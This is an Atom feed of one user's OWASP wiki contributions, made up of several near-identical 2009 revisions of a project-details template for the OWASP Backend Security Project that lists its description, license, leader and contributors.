<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Carlo.pelliccioni</id>
		<title>OWASP - User contributions [en]</title>
		<link rel="self" type="application/atom+xml" href="https://wiki.owasp.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Carlo.pelliccioni"/>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php/Special:Contributions/Carlo.pelliccioni"/>
		<updated>2026-04-23T18:22:26Z</updated>
		<subtitle>User contributions</subtitle>
		<generator>MediaWiki 1.27.2</generator>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72311</id>
		<title>GPC Project Details/OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72311"/>
				<updated>2009-10-27T08:40:41Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:&amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;OWASP Project Identification Tab&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Backend Security Project&lt;br /&gt;
| project_description = This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture. &lt;br /&gt;
| project_license = Creative Commons Attribution Share Alike 3.0&lt;br /&gt;
| leader_name = Carlo Pelliccioni&lt;br /&gt;
| leader_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| leader_username = Carlo.pelliccioni&lt;br /&gt;
| past_leaders_special_contributions = &lt;br /&gt;
| maintainer_name = Carlo Pelliccioni&lt;br /&gt;
| maintainer_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| maintainer_username =  &lt;br /&gt;
| contributor_name1 = Daniele Bellucci&lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 =  &lt;br /&gt;
| contributor_name2 = Erik Sonnleitner&lt;br /&gt;
| contributor_email2 = &lt;br /&gt;
| contributor_username2 = &lt;br /&gt;
| contributor_name3 = Francesco Perna&lt;br /&gt;
| contributor_email3 = &lt;br /&gt;
| contributor_username3 = &lt;br /&gt;
| contributor_name4 = Giuseppe Gottardi&lt;br /&gt;
| contributor_email4 = &lt;br /&gt;
| contributor_username4 = &lt;br /&gt;
| contributor_name5 = Guido Landi&lt;br /&gt;
| contributor_email5 = &lt;br /&gt;
| contributor_username5 = &lt;br /&gt;
| contributor_name6 = Guido Pederzini&lt;br /&gt;
| contributor_email6 = &lt;br /&gt;
| contributor_username6 = &lt;br /&gt;
| contributor_name7 = Maurizio Agazzini&lt;br /&gt;
| contributor_email7 = &lt;br /&gt;
| contributor_username7 = &lt;br /&gt;
| contributor_name8 = Massimo Biagiotti&lt;br /&gt;
| contributor_email8 = &lt;br /&gt;
| contributor_username8 = &lt;br /&gt;
| contributor_name9 = Pasquale de Rinaldis&lt;br /&gt;
| contributor_email9 = &lt;br /&gt;
| contributor_username9 = &lt;br /&gt;
| contributor_name10 = &lt;br /&gt;
| contributor_email10 = &lt;br /&gt;
| contributor_username10 =  &lt;br /&gt;
| pamphlet_link = &lt;br /&gt;
| presentation_link = https://www.owasp.org/images/2/20/OWASP_EU_Summit_2008_Presentation_Model.ppt&lt;br /&gt;
| mailing_list_name = owasp-backend-security&lt;br /&gt;
| links_url1 = http://www.owasp.org/index.php/Category:OWASP_Backend_Security_Project&lt;br /&gt;
| links_name1 = OWASP Backend Security Project&lt;br /&gt;
| links_url2 = http://www.owasp.org/index.php/OWASP_Backend_Security_Project&lt;br /&gt;
| links_name2 = OWASP Backend Security Project (guide)&lt;br /&gt;
| links_url3 = &lt;br /&gt;
| links_name3 = &lt;br /&gt;
| links_url4 = &lt;br /&gt;
| links_name4 = &lt;br /&gt;
| links_url5 = &lt;br /&gt;
| links_name5 = &lt;br /&gt;
| links_url6 = &lt;br /&gt;
| links_name6 = &lt;br /&gt;
| links_url7 = &lt;br /&gt;
| links_name7 = &lt;br /&gt;
| links_url8 = &lt;br /&gt;
| links_name8 = &lt;br /&gt;
| links_url9 = &lt;br /&gt;
| links_name9 = &lt;br /&gt;
| links_url10 = &lt;br /&gt;
| links_name10 = &lt;br /&gt;
| project_road_map = :Category:OWASP XXXXXX Project - Roadmap&lt;br /&gt;
| project_health_status = &lt;br /&gt;
| current_release_name = First Release&lt;br /&gt;
| current_release_date = &lt;br /&gt;
| current_release_download_link = &lt;br /&gt;
| current_release_rating = &lt;br /&gt;
| current_release_leader_name = &lt;br /&gt;
| current_release_leader_email = &lt;br /&gt;
| current_release_leader_username = &lt;br /&gt;
| current_release_details = :Category:OWASP  XXXXX Project - First Release&lt;br /&gt;
| last_reviewed_release_name = &lt;br /&gt;
| last_reviewed_release_date = &lt;br /&gt;
| last_reviewed_release_download_link = &lt;br /&gt;
| last_reviewed_release_rating = &lt;br /&gt;
| last_reviewed_release_leader_name = &lt;br /&gt;
| last_reviewed_release_leader_email = &lt;br /&gt;
| last_reviewed_release_leader_username = &lt;br /&gt;
| old_release_name1 = &lt;br /&gt;
| old_release_date1 = &lt;br /&gt;
| old_release_download_link1 = &lt;br /&gt;
| old_release_name2 = &lt;br /&gt;
| old_release_date2 = &lt;br /&gt;
| old_release_download_link2 = &lt;br /&gt;
| old_release_name3 = &lt;br /&gt;
| old_release_date3 = &lt;br /&gt;
| old_release_download_link3 = &lt;br /&gt;
| old_release_name4 = &lt;br /&gt;
| old_release_date4 = &lt;br /&gt;
| old_release_download_link4 = &lt;br /&gt;
| old_release_name5 = &lt;br /&gt;
| old_release_date5 = &lt;br /&gt;
| old_release_download_link5 = &lt;br /&gt;
| last_GPC_update = 2/10/2009&lt;br /&gt;
| GPC_Notes = Empty template&lt;br /&gt;
| project_home_page = Category:OWASP_Backend_Security_Project &lt;br /&gt;
| project_details_wiki_page = GPC_Project_Details/OWASP_Backend_Security_Project&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72310</id>
		<title>GPC Project Details/OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72310"/>
				<updated>2009-10-27T08:35:16Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:&amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;OWASP Project Identification Tab&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Backend Security Project&lt;br /&gt;
| project_description = This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture. &lt;br /&gt;
| project_license = Creative Commons Attribution Share Alike 3.0&lt;br /&gt;
| leader_name = Carlo Pelliccioni&lt;br /&gt;
| leader_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| leader_username = Carlo.pelliccioni&lt;br /&gt;
| past_leaders_special_contributions = &lt;br /&gt;
| maintainer_name = Carlo Pelliccioni&lt;br /&gt;
| maintainer_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| maintainer_username =  &lt;br /&gt;
| contributor_name1 = Daniele Bellucci&lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 =  &lt;br /&gt;
| contributor_name2 = Erik Sonnleitner&lt;br /&gt;
| contributor_email2 = &lt;br /&gt;
| contributor_username2 = &lt;br /&gt;
| contributor_name3 = Francesco Perna&lt;br /&gt;
| contributor_email3 = &lt;br /&gt;
| contributor_username3 = &lt;br /&gt;
| contributor_name4 = Giuseppe Gottardi&lt;br /&gt;
| contributor_email4 = &lt;br /&gt;
| contributor_username4 = &lt;br /&gt;
| contributor_name5 = Guido Landi&lt;br /&gt;
| contributor_email5 = &lt;br /&gt;
| contributor_username5 = &lt;br /&gt;
| contributor_name6 = Guido Pederzini&lt;br /&gt;
| contributor_email6 = &lt;br /&gt;
| contributor_username6 = &lt;br /&gt;
| contributor_name7 = Maurizio Agazzini&lt;br /&gt;
| contributor_email7 = &lt;br /&gt;
| contributor_username7 = &lt;br /&gt;
| contributor_name8 = Massimo Biagiotti&lt;br /&gt;
| contributor_email8 = &lt;br /&gt;
| contributor_username8 = &lt;br /&gt;
| contributor_name9 = Pasquale de Rinaldis&lt;br /&gt;
| contributor_email9 = &lt;br /&gt;
| contributor_username9 = &lt;br /&gt;
| contributor_name10 = &lt;br /&gt;
| contributor_email10 = &lt;br /&gt;
| contributor_username10 =  &lt;br /&gt;
| pamphlet_link = &lt;br /&gt;
| presentation_link =&lt;br /&gt;
| mailing_list_name = owasp-backend-security&lt;br /&gt;
| links_url1 = http://www.owasp.org/index.php/Category:OWASP_Backend_Security_Project&lt;br /&gt;
| links_name1 = OWASP Backend Security Project&lt;br /&gt;
| links_url2 = http://www.owasp.org/index.php/OWASP_Backend_Security_Project&lt;br /&gt;
| links_name2 = OWASP Backend Security Project (guide)&lt;br /&gt;
| links_url3 = &lt;br /&gt;
| links_name3 = &lt;br /&gt;
| links_url4 = &lt;br /&gt;
| links_name4 = &lt;br /&gt;
| links_url5 = &lt;br /&gt;
| links_name5 = &lt;br /&gt;
| links_url6 = &lt;br /&gt;
| links_name6 = &lt;br /&gt;
| links_url7 = &lt;br /&gt;
| links_name7 = &lt;br /&gt;
| links_url8 = &lt;br /&gt;
| links_name8 = &lt;br /&gt;
| links_url9 = &lt;br /&gt;
| links_name9 = &lt;br /&gt;
| links_url10 = &lt;br /&gt;
| links_name10 = &lt;br /&gt;
| project_road_map = :Category:OWASP XXXXXX Project - Roadmap&lt;br /&gt;
| project_health_status = &lt;br /&gt;
| current_release_name = First Release&lt;br /&gt;
| current_release_date = &lt;br /&gt;
| current_release_download_link = &lt;br /&gt;
| current_release_rating = &lt;br /&gt;
| current_release_leader_name = &lt;br /&gt;
| current_release_leader_email = &lt;br /&gt;
| current_release_leader_username = &lt;br /&gt;
| current_release_details = :Category:OWASP  XXXXX Project - First Release&lt;br /&gt;
| last_reviewed_release_name = &lt;br /&gt;
| last_reviewed_release_date = &lt;br /&gt;
| last_reviewed_release_download_link = &lt;br /&gt;
| last_reviewed_release_rating = &lt;br /&gt;
| last_reviewed_release_leader_name = &lt;br /&gt;
| last_reviewed_release_leader_email = &lt;br /&gt;
| last_reviewed_release_leader_username = &lt;br /&gt;
| old_release_name1 = &lt;br /&gt;
| old_release_date1 = &lt;br /&gt;
| old_release_download_link1 = &lt;br /&gt;
| old_release_name2 = &lt;br /&gt;
| old_release_date2 = &lt;br /&gt;
| old_release_download_link2 = &lt;br /&gt;
| old_release_name3 = &lt;br /&gt;
| old_release_date3 = &lt;br /&gt;
| old_release_download_link3 = &lt;br /&gt;
| old_release_name4 = &lt;br /&gt;
| old_release_date4 = &lt;br /&gt;
| old_release_download_link4 = &lt;br /&gt;
| old_release_name5 = &lt;br /&gt;
| old_release_date5 = &lt;br /&gt;
| old_release_download_link5 = &lt;br /&gt;
| last_GPC_update = 2/10/2009&lt;br /&gt;
| GPC_Notes = Empty template&lt;br /&gt;
| project_home_page = Category:OWASP_Backend_Security_Project &lt;br /&gt;
| project_details_wiki_page = GPC_Project_Details/OWASP_Backend_Security_Project&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72309</id>
		<title>GPC Project Details/OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72309"/>
				<updated>2009-10-27T08:34:20Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:&amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;OWASP Project Identification Tab&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Backend Security Project&lt;br /&gt;
| project_description = This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture. &lt;br /&gt;
| project_license = Creative Commons Attribution Share Alike 3.0&lt;br /&gt;
| leader_name = Carlo Pelliccioni&lt;br /&gt;
| leader_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| leader_username = Carlo.pelliccioni&lt;br /&gt;
| past_leaders_special_contributions = &lt;br /&gt;
| maintainer_name = Carlo Pelliccioni&lt;br /&gt;
| maintainer_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| maintainer_username =  &lt;br /&gt;
| contributor_name1 = Daniele Bellucci&lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 =  &lt;br /&gt;
| contributor_name2 = Erik Sonnleitner&lt;br /&gt;
| contributor_email2 = &lt;br /&gt;
| contributor_username2 = &lt;br /&gt;
| contributor_name3 = Francesco Perna&lt;br /&gt;
| contributor_email3 = &lt;br /&gt;
| contributor_username3 = &lt;br /&gt;
| contributor_name4 = Giuseppe Gottardi&lt;br /&gt;
| contributor_email4 = &lt;br /&gt;
| contributor_username4 = &lt;br /&gt;
| contributor_name5 = Guido Landi&lt;br /&gt;
| contributor_email5 = &lt;br /&gt;
| contributor_username5 = &lt;br /&gt;
| contributor_name6 = Guido Pederzini&lt;br /&gt;
| contributor_email6 = &lt;br /&gt;
| contributor_username6 = &lt;br /&gt;
| contributor_name7 = Maurizio Agazzini&lt;br /&gt;
| contributor_email7 = &lt;br /&gt;
| contributor_username7 = &lt;br /&gt;
| contributor_name8 = Massimo Biagiotti&lt;br /&gt;
| contributor_email8 = &lt;br /&gt;
| contributor_username8 = &lt;br /&gt;
| contributor_name9 = Pasquale de Rinaldis&lt;br /&gt;
| contributor_email9 = &lt;br /&gt;
| contributor_username9 = &lt;br /&gt;
| contributor_name10 = &lt;br /&gt;
| contributor_email10 = &lt;br /&gt;
| contributor_username10 =  &lt;br /&gt;
| pamphlet_link = &lt;br /&gt;
| presentation_link =&lt;br /&gt;
| mailing_list_name = owasp-backend-security&lt;br /&gt;
| links_url1 = http://www.owasp.org/index.php/Category:OWASP_Backend_security_Project&lt;br /&gt;
| links_name1 = OWASP Backend Security Project&lt;br /&gt;
| links_url2 = http://www.owasp.org/index.php/OWASP_Backend_security_Project&lt;br /&gt;
| links_name2 = OWASP Backend Security Project (guide)&lt;br /&gt;
| links_url3 = &lt;br /&gt;
| links_name3 = &lt;br /&gt;
| links_url4 = &lt;br /&gt;
| links_name4 = &lt;br /&gt;
| links_url5 = &lt;br /&gt;
| links_name5 = &lt;br /&gt;
| links_url6 = &lt;br /&gt;
| links_name6 = &lt;br /&gt;
| links_url7 = &lt;br /&gt;
| links_name7 = &lt;br /&gt;
| links_url8 = &lt;br /&gt;
| links_name8 = &lt;br /&gt;
| links_url9 = &lt;br /&gt;
| links_name9 = &lt;br /&gt;
| links_url10 = &lt;br /&gt;
| links_name10 = &lt;br /&gt;
| project_road_map = :Category:OWASP XXXXXX Project - Roadmap&lt;br /&gt;
| project_health_status = &lt;br /&gt;
| current_release_name = First Release&lt;br /&gt;
| current_release_date = &lt;br /&gt;
| current_release_download_link = &lt;br /&gt;
| current_release_rating = &lt;br /&gt;
| current_release_leader_name = &lt;br /&gt;
| current_release_leader_email = &lt;br /&gt;
| current_release_leader_username = &lt;br /&gt;
| current_release_details = :Category:OWASP  XXXXX Project - First Release&lt;br /&gt;
| last_reviewed_release_name = &lt;br /&gt;
| last_reviewed_release_date = &lt;br /&gt;
| last_reviewed_release_download_link = &lt;br /&gt;
| last_reviewed_release_rating = &lt;br /&gt;
| last_reviewed_release_leader_name = &lt;br /&gt;
| last_reviewed_release_leader_email = &lt;br /&gt;
| last_reviewed_release_leader_username = &lt;br /&gt;
| old_release_name1 = &lt;br /&gt;
| old_release_date1 = &lt;br /&gt;
| old_release_download_link1 = &lt;br /&gt;
| old_release_name2 = &lt;br /&gt;
| old_release_date2 = &lt;br /&gt;
| old_release_download_link2 = &lt;br /&gt;
| old_release_name3 = &lt;br /&gt;
| old_release_date3 = &lt;br /&gt;
| old_release_download_link3 = &lt;br /&gt;
| old_release_name4 = &lt;br /&gt;
| old_release_date4 = &lt;br /&gt;
| old_release_download_link4 = &lt;br /&gt;
| old_release_name5 = &lt;br /&gt;
| old_release_date5 = &lt;br /&gt;
| old_release_download_link5 = &lt;br /&gt;
| last_GPC_update = 2/10/2009&lt;br /&gt;
| GPC_Notes = Empty template&lt;br /&gt;
| project_home_page = Category:OWASP_Backend_Security_Project &lt;br /&gt;
| project_details_wiki_page = GPC_Project_Details/OWASP_Backend_Security_Project&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72308</id>
		<title>GPC Project Details/OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72308"/>
				<updated>2009-10-27T08:33:00Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:&amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;OWASP Project Identification Tab&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Backend Security Project&lt;br /&gt;
| project_description = This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture. &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name = Carlo Pelliccioni&lt;br /&gt;
| leader_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| leader_username = Carlo.pelliccioni&lt;br /&gt;
| past_leaders_special_contributions = &lt;br /&gt;
| maintainer_name = Carlo Pelliccioni&lt;br /&gt;
| maintainer_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| maintainer_username =  &lt;br /&gt;
| contributor_name1 = Daniele Bellucci&lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 =  &lt;br /&gt;
| contributor_name2 = Erik Sonnleitner&lt;br /&gt;
| contributor_email2 = &lt;br /&gt;
| contributor_username2 = &lt;br /&gt;
| contributor_name3 = Francesco Perna&lt;br /&gt;
| contributor_email3 = &lt;br /&gt;
| contributor_username3 = &lt;br /&gt;
| contributor_name4 = Giuseppe Gottardi&lt;br /&gt;
| contributor_email4 = &lt;br /&gt;
| contributor_username4 = &lt;br /&gt;
| contributor_name5 = Guido Landi&lt;br /&gt;
| contributor_email5 = &lt;br /&gt;
| contributor_username5 = &lt;br /&gt;
| contributor_name6 = Guido Pederzini&lt;br /&gt;
| contributor_email6 = &lt;br /&gt;
| contributor_username6 = &lt;br /&gt;
| contributor_name7 = Maurizio Agazzini&lt;br /&gt;
| contributor_email7 = &lt;br /&gt;
| contributor_username7 = &lt;br /&gt;
| contributor_name8 = Massimo Biagiotti&lt;br /&gt;
| contributor_email8 = &lt;br /&gt;
| contributor_username8 = &lt;br /&gt;
| contributor_name9 = Pasquale de Rinaldis&lt;br /&gt;
| contributor_email9 = &lt;br /&gt;
| contributor_username9 = &lt;br /&gt;
| contributor_name10 = &lt;br /&gt;
| contributor_email10 = &lt;br /&gt;
| contributor_username10 =  &lt;br /&gt;
| pamphlet_link = &lt;br /&gt;
| presentation_link =&lt;br /&gt;
| mailing_list_name = owasp-backend-security&lt;br /&gt;
| links_url1 = http://www.owasp.org/index.php/Category:OWASP_Backend_security_Project&lt;br /&gt;
| links_name1 = OWASP Backend Security Project&lt;br /&gt;
| links_url2 = http://www.owasp.org/index.php/OWASP_Backend_security_Project&lt;br /&gt;
| links_name2 = OWASP Backend Security Project (guide)&lt;br /&gt;
| links_url3 = &lt;br /&gt;
| links_name3 = &lt;br /&gt;
| links_url4 = &lt;br /&gt;
| links_name4 = &lt;br /&gt;
| links_url5 = &lt;br /&gt;
| links_name5 = &lt;br /&gt;
| links_url6 = &lt;br /&gt;
| links_name6 = &lt;br /&gt;
| links_url7 = &lt;br /&gt;
| links_name7 = &lt;br /&gt;
| links_url8 = &lt;br /&gt;
| links_name8 = &lt;br /&gt;
| links_url9 = &lt;br /&gt;
| links_name9 = &lt;br /&gt;
| links_url10 = &lt;br /&gt;
| links_name10 = &lt;br /&gt;
| project_road_map = :Category:OWASP XXXXXX Project - Roadmap&lt;br /&gt;
| project_health_status = &lt;br /&gt;
| current_release_name = First Release&lt;br /&gt;
| current_release_date = &lt;br /&gt;
| current_release_download_link = &lt;br /&gt;
| current_release_rating = &lt;br /&gt;
| current_release_leader_name = &lt;br /&gt;
| current_release_leader_email = &lt;br /&gt;
| current_release_leader_username = &lt;br /&gt;
| current_release_details = :Category:OWASP  XXXXX Project - First Release&lt;br /&gt;
| last_reviewed_release_name = &lt;br /&gt;
| last_reviewed_release_date = &lt;br /&gt;
| last_reviewed_release_download_link = &lt;br /&gt;
| last_reviewed_release_rating = &lt;br /&gt;
| last_reviewed_release_leader_name = &lt;br /&gt;
| last_reviewed_release_leader_email = &lt;br /&gt;
| last_reviewed_release_leader_username = &lt;br /&gt;
| old_release_name1 = &lt;br /&gt;
| old_release_date1 = &lt;br /&gt;
| old_release_download_link1 = &lt;br /&gt;
| old_release_name2 = &lt;br /&gt;
| old_release_date2 = &lt;br /&gt;
| old_release_download_link2 = &lt;br /&gt;
| old_release_name3 = &lt;br /&gt;
| old_release_date3 = &lt;br /&gt;
| old_release_download_link3 = &lt;br /&gt;
| old_release_name4 = &lt;br /&gt;
| old_release_date4 = &lt;br /&gt;
| old_release_download_link4 = &lt;br /&gt;
| old_release_name5 = &lt;br /&gt;
| old_release_date5 = &lt;br /&gt;
| old_release_download_link5 = &lt;br /&gt;
| last_GPC_update = 2/10/2009&lt;br /&gt;
| GPC_Notes = Empty template&lt;br /&gt;
| project_home_page = Category:OWASP_Backend_Security_Project &lt;br /&gt;
| project_details_wiki_page = GPC_Project_Details/OWASP_Backend_Security_Project&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72307</id>
		<title>GPC Project Details/OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72307"/>
				<updated>2009-10-27T08:27:46Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:&amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;OWASP Project Identification Tab&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Backend Security Project&lt;br /&gt;
| project_description = This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture. &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name = Carlo Pelliccioni&lt;br /&gt;
| leader_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| leader_username = Carlo.pelliccioni&lt;br /&gt;
| past_leaders_special_contributions = &lt;br /&gt;
| maintainer_name = Carlo Pelliccioni&lt;br /&gt;
| maintainer_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| maintainer_username =  &lt;br /&gt;
| contributor_name1 = Daniele Bellucci&lt;br /&gt;
| contributor_email1 = &lt;br /&gt;
| contributor_username1 =  &lt;br /&gt;
| contributor_name2 = Erik Sonnleitner&lt;br /&gt;
| contributor_email2 = &lt;br /&gt;
| contributor_username2 = &lt;br /&gt;
| contributor_name3 = Francesco Perna&lt;br /&gt;
| contributor_email3 = &lt;br /&gt;
| contributor_username3 = &lt;br /&gt;
| contributor_name4 = Giuseppe Gottardi&lt;br /&gt;
| contributor_email4 = &lt;br /&gt;
| contributor_username4 = &lt;br /&gt;
| contributor_name5 = Guido Landi&lt;br /&gt;
| contributor_email5 = &lt;br /&gt;
| contributor_username5 = &lt;br /&gt;
| contributor_name6 = Guido Pederzini&lt;br /&gt;
| contributor_email6 = &lt;br /&gt;
| contributor_username6 = &lt;br /&gt;
| contributor_name7 = Maurizio Agazzini&lt;br /&gt;
| contributor_email7 = &lt;br /&gt;
| contributor_username7 = &lt;br /&gt;
| contributor_name8 = Massimo Biagiotti&lt;br /&gt;
| contributor_email8 = &lt;br /&gt;
| contributor_username8 = &lt;br /&gt;
| contributor_name9 = Pasquale de Rinaldis&lt;br /&gt;
| contributor_email9 = &lt;br /&gt;
| contributor_username9 = &lt;br /&gt;
| contributor_name10 = &lt;br /&gt;
| contributor_email10 = &lt;br /&gt;
| contributor_username10 =  &lt;br /&gt;
| pamphlet_link = &lt;br /&gt;
| presentation_link =&lt;br /&gt;
| mailing_list_name = owasp-backend-security&lt;br /&gt;
| links_url1 = &lt;br /&gt;
| links_name1 = &lt;br /&gt;
| links_url2 = &lt;br /&gt;
| links_name2 = &lt;br /&gt;
| links_url3 = &lt;br /&gt;
| links_name3 = &lt;br /&gt;
| links_url4 = &lt;br /&gt;
| links_name4 = &lt;br /&gt;
| links_url5 = &lt;br /&gt;
| links_name5 = &lt;br /&gt;
| links_url6 = &lt;br /&gt;
| links_name6 = &lt;br /&gt;
| links_url7 = &lt;br /&gt;
| links_name7 = &lt;br /&gt;
| links_url8 = &lt;br /&gt;
| links_name8 = &lt;br /&gt;
| links_url9 = &lt;br /&gt;
| links_name9 = &lt;br /&gt;
| links_url10 = &lt;br /&gt;
| links_name10 = &lt;br /&gt;
| project_road_map = :Category:OWASP XXXXXX Project - Roadmap&lt;br /&gt;
| project_health_status = &lt;br /&gt;
| current_release_name = First Release&lt;br /&gt;
| current_release_date = &lt;br /&gt;
| current_release_download_link = &lt;br /&gt;
| current_release_rating = &lt;br /&gt;
| current_release_leader_name = &lt;br /&gt;
| current_release_leader_email = &lt;br /&gt;
| current_release_leader_username = &lt;br /&gt;
| current_release_details = :Category:OWASP  XXXXX Project - First Release&lt;br /&gt;
| last_reviewed_release_name = &lt;br /&gt;
| last_reviewed_release_date = &lt;br /&gt;
| last_reviewed_release_download_link = &lt;br /&gt;
| last_reviewed_release_rating = &lt;br /&gt;
| last_reviewed_release_leader_name = &lt;br /&gt;
| last_reviewed_release_leader_email = &lt;br /&gt;
| last_reviewed_release_leader_username = &lt;br /&gt;
| old_release_name1 = &lt;br /&gt;
| old_release_date1 = &lt;br /&gt;
| old_release_download_link1 = &lt;br /&gt;
| old_release_name2 = &lt;br /&gt;
| old_release_date2 = &lt;br /&gt;
| old_release_download_link2 = &lt;br /&gt;
| old_release_name3 = &lt;br /&gt;
| old_release_date3 = &lt;br /&gt;
| old_release_download_link3 = &lt;br /&gt;
| old_release_name4 = &lt;br /&gt;
| old_release_date4 = &lt;br /&gt;
| old_release_download_link4 = &lt;br /&gt;
| old_release_name5 = &lt;br /&gt;
| old_release_date5 = &lt;br /&gt;
| old_release_download_link5 = &lt;br /&gt;
| last_GPC_update = 2/10/2009&lt;br /&gt;
| GPC_Notes = Empty template&lt;br /&gt;
| project_home_page = Category:OWASP_Backend_Security_Project &lt;br /&gt;
| project_details_wiki_page = GPC_Project_Details/OWASP_Backend_Security_Project&lt;br /&gt;
}}&lt;/div&gt;</summary>
		<author><name>Carlo.pelliccioni</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72306</id>
		<title>GPC Project Details/OWASP Backend Security Project</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=GPC_Project_Details/OWASP_Backend_Security_Project&amp;diff=72306"/>
				<updated>2009-10-27T08:25:38Z</updated>
		
		<summary type="html">&lt;p&gt;Carlo.pelliccioni: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:&amp;lt;includeonly&amp;gt;{{{1}}}&amp;lt;/includeonly&amp;gt;&amp;lt;noinclude&amp;gt;OWASP Project Identification Tab&amp;lt;/noinclude&amp;gt;&lt;br /&gt;
| project_name = OWASP Backend Security Project&lt;br /&gt;
| project_description = This project aims to improve and to collect the existent information about the backend security. The project is composed by three sections (security development, security hardening and security testing). The aim is to define the guidelines for the companies and IT professionals working in the security field into processes development and back-end components management/testing in the enterprise architecture. &lt;br /&gt;
| project_license =&lt;br /&gt;
| leader_name = Carlo Pelliccioni&lt;br /&gt;
| leader_email = carlo.pelliccioni@gmail.com&lt;br /&gt;
| leader_username = Carlo.pelliccioni&lt;br /&gt;
| past_leaders_special_contributions = &lt;br /&gt;
